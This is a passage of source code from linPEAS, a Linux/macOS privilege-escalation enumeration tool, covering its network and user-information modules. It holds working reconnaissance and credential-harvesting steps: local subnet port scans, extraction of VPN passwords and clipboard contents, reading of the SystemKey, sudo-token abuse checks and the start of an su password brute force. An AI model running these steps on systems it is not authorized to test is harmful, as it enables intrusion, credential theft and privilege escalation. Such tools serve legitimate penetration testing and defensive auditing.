if [ "$MACOS" ]; then
print_2title "Network Capabilities"
warn_exec system_profiler SPNetworkDataType
echo ""
fi
#-- NI) Hostname, hosts and DNS
print_2title "Hostname, hosts and DNS"
cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null
warn_exec dnsdomainname 2>/dev/null
echo ""
#-- NI) /etc/inetd.conf
if [ "$EXTRA_CHECKS" ]; then
print_2title "Content of /etc/inetd.conf & /etc/xinetd.conf"
(cat /etc/inetd.conf /etc/xinetd.conf 2>/dev/null | grep -v "^$" | grep -Ev "\W+\#|^#" 2>/dev/null) || echo_not_found "/etc/inetd.conf"
echo ""
fi
#-- NI) Interfaces
print_2title "Interfaces"
cat /etc/networks 2>/dev/null
(ifconfig || ip a || (cat /proc/net/dev; cat /proc/net/fib_trie; cat /proc/net/fib_trie6)) 2>/dev/null
echo ""
#-- NI) Neighbours
if [ "$EXTRA_CHECKS" ]; then
print_2title "Networks and neighbours"
if [ "$MACOS" ]; then
netstat -rn 2>/dev/null
else
(route || ip n || cat /proc/net/route) 2>/dev/null
fi
(arp -e || arp -a || cat /proc/net/arp) 2>/dev/null
echo ""
fi
if [ "$MACPEAS" ]; then
print_2title "Firewall status"
warn_exec system_profiler SPFirewallDataType
fi
#-- NI) Iptables
if [ "$EXTRA_CHECKS" ]; then
print_2title "Iptables rules"
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null) 2>/dev/null || echo_not_found "iptables rules"
echo ""
fi
#-- NI) Ports
print_2title "Active Ports"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports"
( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED},g"
echo ""
#-- NI) MacOS hardware ports
if [ "$MACPEAS" ] && [ "$EXTRA_CHECKS" ]; then
print_2title "Hardware Ports"
networksetup -listallhardwareports
echo ""
print_2title "VLANs"
networksetup -listVLANs
echo ""
print_2title "Wifi Info"
networksetup -getinfo Wi-Fi
echo ""
print_2title "Check Enabled Proxies"
scutil --proxy
echo ""
print_2title "Wifi Proxy URL"
networksetup -getautoproxyurl Wi-Fi
echo ""
print_2title "Wifi Web Proxy"
networksetup -getwebproxy Wi-Fi
echo ""
print_2title "Wifi FTP Proxy"
networksetup -getftpproxy Wi-Fi
echo ""
fi
#-- NI) tcpdump
print_2title "Can I sniff with tcpdump?"
timeout 1 tcpdump >/dev/null 2>&1
if [ $? -eq 124 ]; then #If 124, then timed out == It worked
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sniffing"
echo "You can sniff with tcpdump!" | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
echo ""
#-- NI) Internet access
if [ "$AUTO_NETWORK_SCAN" ] && [ "$TIMEOUT" ] && [ -f "/bin/bash" ]; then
print_2title "Internet Access?"
check_tcp_80 2>/dev/null &
check_tcp_443 2>/dev/null &
check_icmp 2>/dev/null &
check_dns 2>/dev/null &
wait
echo ""
fi
if [ "$AUTO_NETWORK_SCAN" ]; then
if ! [ "$FOUND_NC" ] && ! [ "$FOUND_BASH" ]; then
printf $RED"[-] $SCAN_BAN_BAD\n$NC"
echo "The network is not going to be scanned..."
elif ! [ "$(command -v ifconfig)" ] && ! [ "$(command -v ip a)" ]; then
printf $RED"[-] No ifconfig or ip commands, cannot find local ips\n$NC"
echo "The network is not going to be scanned..."
else
print_2title "Scanning local networks (using /24)"
if ! [ "$PING" ] && ! [ "$FPING" ]; then
printf $RED"[-] $DISCOVER_BAN_BAD\n$NC"
fi
select_nc
local_ips=$( (ip a 2>/dev/null || ifconfig) | grep -Eo 'inet[^6]\S+[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' | grep -E "^10\.|^172\.|^192\.168\.|^169\.254\.")
printf "%s\n" "$local_ips" | while read local_ip; do
if ! [ -z "$local_ip" ]; then
print_3title "Discovering hosts in $local_ip/24"
if [ "$PING" ] || [ "$FPING" ]; then
discover_network "$local_ip/24" | sed 's/\x1B\[[0-9;]\{1,\}[A-Za-z]//g' | grep -A 256 "Network Discovery" | grep -v "Network Discovery" | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' > $Wfolder/.ips.tmp
fi
discovery_port_scan "$local_ip/24" 22 | sed 's/\x1B\[[0-9;]\{1,\}[A-Za-z]//g' | grep -A 256 "Ports going to be scanned" | grep -v "Ports going to be scanned" | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' >> $Wfolder/.ips.tmp
sort $Wfolder/.ips.tmp | uniq > $Wfolder/.ips
rm $Wfolder/.ips.tmp 2>/dev/null
while read disc_ip; do
me=""
if [ "$disc_ip" = "$local_ip" ]; then
me=" (local)"
fi
echo "Scanning top ports of ${disc_ip}${me}"
(tcp_port_scan "$disc_ip" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null
echo ""
done < $Wfolder/.ips
rm $Wfolder/.ips 2>/dev/null
echo ""
fi
done
print_3title "Scanning top ports of host.docker.internal"
(tcp_port_scan "host.docker.internal" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null
echo ""
fi
fi
if [ "$MACOS" ]; then
print_2title "Any MacOS Sharing Service Enabled?"
rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
scrShrng=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.5900" | wc -l);
flShrng=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep -E "\*.88|\*.445|\*.548" | wc -l);
rLgn=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.22" | wc -l);
rAE=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.3031" | wc -l);
bmM=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.4488" | wc -l);
printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";
echo ""
print_2title "VPN Creds"
system_profiler SPNetworkLocationDataType | grep -A 5 -B 7 ": Password" | sed -${E} "s,Password|Authorization Name.*,${SED_RED},"
echo ""
if [ "$EXTRA_CHECKS" ]; then
print_2title "Bluetooth Info"
warn_exec system_profiler SPBluetoothDataType
echo ""
print_2title "Ethernet Info"
warn_exec system_profiler SPEthernetDataType
echo ""
print_2title "USB Info"
warn_exec system_profiler SPUSBDataType
echo ""
fi
fi

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linPEAS/builder/linpeas_parts/5_network_information/10_Macos_hardware_ports.sh Normal file
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# Title: Network Information - MacOS hardware ports
# ID: NT_Macos_hardware_ports
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Enumerate macOS hardware ports
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title
# Global Variables: $EXTRA_CHECKS, $MACPEAS
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 0
if [ "$MACPEAS" ] && [ "$EXTRA_CHECKS" ]; then
print_2title "Hardware Ports"
networksetup -listallhardwareports
echo ""
print_2title "VLANs"
networksetup -listVLANs
echo ""
print_2title "Wifi Info"
networksetup -getinfo Wi-Fi
echo ""
print_2title "Check Enabled Proxies"
scutil --proxy
echo ""
print_2title "Wifi Proxy URL"
networksetup -getautoproxyurl Wi-Fi
echo ""
print_2title "Wifi Web Proxy"
networksetup -getwebproxy Wi-Fi
echo ""
fi

24
linPEAS/builder/linpeas_parts/5_network_information/11_Internet_access.sh Normal file
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# Title: Network Information - Internet access
# ID: NT_Internet_access
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Check for internet access
# License: GNU GPL
# Version: 1.0
# Functions Used: check_dns, check_icmp, check_tcp_443, check_tcp_80, print_2title
# Global Variables: $FAST, $TIMEOUT
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 0
if ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ -f "/bin/bash" ]; then
print_2title "Internet Access?"
check_tcp_80 2>/dev/null &
check_tcp_443 2>/dev/null &
check_icmp 2>/dev/null &
check_dns 2>/dev/null &
wait
echo ""
fi

19
linPEAS/builder/linpeas_parts/5_network_information/1_Network_interfaces.sh Normal file
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# Title: Network Information - Network interfaces
# ID: NT_Network_interfaces
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Check network interfaces
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title
# Global Variables:
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
print_2title "Interfaces"
cat /etc/networks 2>/dev/null
(ifconfig || ip a || (cat /proc/net/dev; cat /proc/net/fib_trie; cat /proc/net/fib_trie6)) 2>/dev/null
echo ""

19
linPEAS/builder/linpeas_parts/5_network_information/2_Hostname_hosts_dns.sh Normal file
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# Title: Network Information - Hostname, hosts and DNS
# ID: NT_Hostname_hosts_dns
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Get hostname, hosts and DNS
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, warn_exec
# Global Variables:
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
print_2title "Hostname, hosts and DNS"
cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null
warn_exec dnsdomainname 2>/dev/null
echo ""

25
linPEAS/builder/linpeas_parts/5_network_information/3_Network_neighbours.sh Normal file
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# Title: Network Information - Network neighbours
# ID: NT_Network_neighbours
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Networks and neighbours
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title
# Global Variables: $EXTRA_CHECKS, $MACPEAS
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 0
if [ "$EXTRA_CHECKS" ]; then
print_2title "Networks and neighbours"
if [ "$MACPEAS" ]; then
netstat -rn 2>/dev/null
else
(route || ip n || cat /proc/net/route) 2>/dev/null
fi
(arp -e || arp -a || cat /proc/net/arp) 2>/dev/null
echo ""
fi

19
linPEAS/builder/linpeas_parts/5_network_information/4_Open_ports.sh Normal file
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# Title: Network Information - Open ports
# ID: NT_Open_ports
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Enumerate open ports
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_info
# Global Variables:
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
print_2title "Active Ports"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports"
( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED},g"
echo ""

20
linPEAS/builder/linpeas_parts/5_network_information/5_Macos_network_capabilities.sh Normal file
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# Title: Network Information - MacOS network capabilities
# ID: NT_Macos_network_capabilities
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: MacOS network Capabilities
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, warn_exec
# Global Variables: $MACPEAS
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 0
if [ "$MACPEAS" ]; then
print_2title "Network Capabilities"
warn_exec system_profiler SPNetworkDataType
echo ""
fi

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linPEAS/builder/linpeas_parts/5_network_information/6_Macos_network_services.sh Normal file
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# Title: Network Information - MacOS Network Services
# ID: NT_Macos_network_services
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Enumerate macos network services
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, warn_exec
# Global Variables: $EXTRA_CHECKS, $MACPEAS
# Initial Functions:
# Generated Global Variables: $rmMgmt, $scrShrng, $flShrng, $rLgn, $rAE, $bmM
# Fat linpeas: 0
# Small linpeas: 0
if [ "$MACPEAS" ]; then
print_2title "Any MacOS Sharing Service Enabled?"
rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
scrShrng=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.5900" | wc -l);
flShrng=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep -E "\*.88|\*.445|\*.548" | wc -l);
rLgn=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.22" | wc -l);
rAE=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.3031" | wc -l);
bmM=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.4488" | wc -l);
printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";
echo ""
print_2title "VPN Creds"
system_profiler SPNetworkLocationDataType | grep -A 5 -B 7 ": Password" | sed -${E} "s,Password|Authorization Name.*,${SED_RED},"
echo ""
print_2title "Firewall status"
warn_exec system_profiler SPFirewallDataType
echo ""
if [ "$EXTRA_CHECKS" ]; then
print_2title "Bluetooth Info"
warn_exec system_profiler SPBluetoothDataType
echo ""
print_2title "Ethernet Info"
warn_exec system_profiler SPEthernetDataType
echo ""
print_2title "USB Info"
warn_exec system_profiler SPUSBDataType
echo ""
fi
fi

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linPEAS/builder/linpeas_parts/5_network_information/7_Tcpdump.sh Normal file
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# Title: Network Information - Tcpdump
# ID: NT_Tcpdump
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Can I sniff with tcpdump?
# License: GNU GPL
# Version: 1.0
# Functions Used: echo_no, print_2title, print_info
# Global Variables:
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
print_2title "Can I sniff with tcpdump?"
timeout 1 tcpdump >/dev/null 2>&1
if [ $? -eq 124 ]; then #If 124, then timed out == It worked
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sniffing"
echo "You can sniff with tcpdump!" | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
echo ""

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linPEAS/builder/linpeas_parts/5_network_information/8_Iptables.sh Normal file
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# Title: Network Information - Iptables
# ID: NT_Iptables
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Enumerate iptables rules
# License: GNU GPL
# Version: 1.0
# Functions Used: echo_not_found, print_2title
# Global Variables: $EXTRA_CHECKS
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
if [ "$EXTRA_CHECKS" ]; then
print_2title "Iptables rules"
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null) 2>/dev/null || echo_not_found "iptables rules"
echo ""
fi

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linPEAS/builder/linpeas_parts/5_network_information/9_Inetdconf.sh Normal file
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# Title: Network Information - Inetconf
# ID: NT_Inetdconf
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Check content of /etc/inetd.conf & /etc/xinetd.conf
# License: GNU GPL
# Version: 1.0
# Functions Used: echo_not_found, print_2title
# Global Variables: $EXTRA_CHECKS
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 0
if [ "$EXTRA_CHECKS" ]; then
print_2title "Content of /etc/inetd.conf & /etc/xinetd.conf"
(cat /etc/inetd.conf /etc/xinetd.conf 2>/dev/null | grep -v "^$" | grep -Ev "\W+\#|^#" 2>/dev/null) || echo_not_found "/etc/inetd.conf"
echo ""
fi

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linPEAS/builder/linpeas_parts/6_users_information.sh
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###########################################
#----------) Users Information (----------#
###########################################
#-- UI) My user
print_2title "My user"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users"
(id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g"
echo ""
if [ "$MACPEAS" ];then
print_2title "Current user Login and Logout hooks"
defaults read $HOME/Library/Preferences/com.apple.loginwindow.plist 2>/dev/null | grep -e "Hook"
echo ""
print_2title "All Login and Logout hooks"
defaults read /Users/*/Library/Preferences/com.apple.loginwindow.plist 2>/dev/null | grep -e "Hook"
defaults read /private/var/root/Library/Preferences/com.apple.loginwindow.plist
echo ""
print_2title "Keychains"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#chainbreaker"
security list-keychains
echo ""
print_2title "SystemKey"
ls -l /var/db/SystemKey
if [ -r "/var/db/SystemKey" ]; then
echo "You can read /var/db/SystemKey" | sed -${E} "s,.*,${SED_RED_YELLOW},";
hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey | sed -${E} "s,.*,${SED_RED_YELLOW},";
fi
echo ""
fi
#-- UI) PGP keys?
print_2title "Do I have PGP keys?"
command -v gpg 2>/dev/null || echo_not_found "gpg"
gpg --list-keys 2>/dev/null
command -v netpgpkeys 2>/dev/null || echo_not_found "netpgpkeys"
netpgpkeys --list-keys 2>/dev/null
command -v netpgp 2>/dev/null || echo_not_found "netpgp"
echo ""
#-- UI) Clipboard and highlighted text
if [ "$(command -v xclip 2>/dev/null)" ] || [ "$(command -v xsel 2>/dev/null)" ] || [ "$(command -v pbpaste 2>/dev/null)" ] || [ "$DEBUG" ]; then
print_2title "Clipboard or highlighted text?"
if [ "$(command -v xclip 2>/dev/null)" ]; then
echo "Clipboard: "$(xclip -o -selection clipboard 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
echo "Highlighted text: "$(xclip -o 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
elif [ "$(command -v xsel 2>/dev/null)" ]; then
echo "Clipboard: "$(xsel -ob 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
echo "Highlighted text: "$(xsel -o 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
elif [ "$(command -v pbpaste 2>/dev/null)" ]; then
echo "Clipboard: "$(pbpaste) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
else echo_not_found "xsel and xclip"
fi
echo ""
fi
#-- UI) Sudo -l
print_2title "Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
(echo '' | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,\!root,${SED_RED},") 2>/dev/null || echo_not_found "sudo"
if [ "$PASSWORD" ]; then
(echo "$PASSWORD" | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g") 2>/dev/null || echo_not_found "sudo"
fi
( grep -Iv "^$" cat /etc/sudoers | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" ) 2>/dev/null || echo_not_found "/etc/sudoers"
if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then
echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW},"
fi
for filename in /etc/sudoers.d/*; do
if [ -r "$filename" ]; then
echo "Sudoers file: $filename is readable" | sed -${E} "s,.*,${SED_RED},g"
grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g"
fi
done
echo ""
#-- UI) Sudo tokens
print_2title "Checking sudo tokens"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens"
ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then
echo "ptrace protection is disabled (0), so sudo tokens could be abused" | sed "s,is disabled,${SED_RED},g";
if [ "$(command -v gdb 2>/dev/null)" ]; then
echo "gdb was found in PATH" | sed -${E} "s,.*,${SED_RED},g";
fi
if [ "$CURRENT_USER_PIVOT_PID" ]; then
echo "The current user proc $CURRENT_USER_PIVOT_PID is the parent of a different user proccess" | sed -${E} "s,.*,${SED_RED},g";
fi
if [ -f "$HOME/.sudo_as_admin_successful" ]; then
echo "Current user has .sudo_as_admin_successful file, so he can execute with sudo" | sed -${E} "s,.*,${SED_RED},";
fi
if ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -qE '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'; then
echo "Current user has other interactive shells running: " | sed -${E} "s,.*,${SED_RED},g";
ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -E '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'
fi
else
echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g";
fi
echo ""
#-- UI) Doas
if [ -f "/etc/doas.conf" ] || [ "$DEBUG" ]; then
print_2title "Checking doas.conf"
doas_dir_name=$(dirname "$(command -v doas)" 2>/dev/null)
if [ "$(cat /etc/doas.conf $doas_dir_name/doas.conf $doas_dir_name/../etc/doas.conf $doas_dir_name/etc/doas.conf 2>/dev/null)" ]; then
cat /etc/doas.conf "$doas_dir_name/doas.conf" "$doas_dir_name/../etc/doas.conf" "$doas_dir_name/etc/doas.conf" 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_RED}," | sed "s,root,${SED_RED}," | sed "s,nopass,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW},"
else echo_not_found "doas.conf"
fi
echo ""
fi
#-- UI) Pkexec policy
print_2title "Checking Pkexec policy"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#pe-method-2"
(cat /etc/polkit-1/localauthority.conf.d/* 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED}," | sed -${E} "s,$groupsVB,${SED_RED}," | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," | sed -${E} "s,$Groups,${SED_RED_YELLOW},") || echo_not_found "/etc/polkit-1/localauthority.conf.d"
echo ""
#-- UI) Superusers
print_2title "Superusers"
awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED_YELLOW}," | sed "s,root,${SED_RED},"
echo ""
#-- UI) Users with console
print_2title "Users with console"
if [ "$MACPEAS" ]; then
dscl . list /Users | while read uname; do
ushell=$(dscl . -read "/Users/$uname" UserShell | cut -d " " -f2)
if grep -q "$ushell" /etc/shells; then #Shell user
dscl . -read "/Users/$uname" UserShell RealName RecordName Password NFSHomeDirectory 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
echo ""
fi
done
else
no_shells=$(grep -Ev "sh$" /etc/passwd 2>/dev/null | cut -d ':' -f 7 | sort | uniq)
unexpected_shells=""
printf "%s\n" "$no_shells" | while read f; do
if $f -c 'whoami' 2>/dev/null | grep -q "$USER"; then
unexpected_shells="$f\n$unexpected_shells"
fi
done
grep "sh$" /etc/passwd 2>/dev/null | sort | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
if [ "$unexpected_shells" ]; then
printf "%s" "These unexpected binaries are acting like shells:\n$unexpected_shells" | sed -${E} "s,/.*,${SED_RED},g"
echo "Unexpected users with shells:"
printf "%s\n" "$unexpected_shells" | while read f; do
if [ "$f" ]; then
grep -E "${f}$" /etc/passwd | sed -${E} "s,/.*,${SED_RED},g"
fi
done
fi
fi
echo ""
#-- UI) All users & groups
print_2title "All users & groups"
if [ "$MACPEAS" ]; then
dscl . list /Users | while read i; do id $i;done 2>/dev/null | sort | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g"
else
cut -d":" -f1 /etc/passwd 2>/dev/null| while read i; do id $i;done 2>/dev/null | sort | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g"
fi
echo ""
#-- UI) Login now
print_2title "Login now"
(w || who || finger || users) 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
echo ""
#-- UI) Last logons
print_2title "Last logons"
(last -Faiw || last) 2>/dev/null | tail | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_RED}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
echo ""
#-- UI) Login info
print_2title "Last time logon each user"
lastlog 2>/dev/null | grep -v "Never" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
EXISTS_FINGER="$(command -v finger 2>/dev/null)"
if [ "$MACPEAS" ] && [ "$EXISTS_FINGER" ]; then
dscl . list /Users | while read uname; do
ushell=$(dscl . -read "/Users/$uname" UserShell | cut -d " " -f2)
if grep -q "$ushell" /etc/shells; then #Shell user
finger "$uname" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
echo ""
fi
done
fi
echo ""
#-- UI) Password policy
if [ "$EXTRA_CHECKS" ]; then
print_2title "Password policy"
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs 2>/dev/null || echo_not_found "/etc/login.defs"
echo ""
if [ "$MACPEAS" ]; then
print_2title "Relevant last user info and user configs"
defaults read /Library/Preferences/com.apple.loginwindow.plist 2>/dev/null
echo ""
print_2title "Guest user status"
sysadminctl -afpGuestAccess status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN},"
sysadminctl -guestAccount status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN},"
sysadminctl -smbGuestAccess status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN},"
echo ""
fi
fi
#-- UI) Brute su
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ]; then
print_2title "Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwds\n"$NC
POSSIBE_SU_BRUTE=$(check_if_su_brute);
if [ "$POSSIBE_SU_BRUTE" ]; then
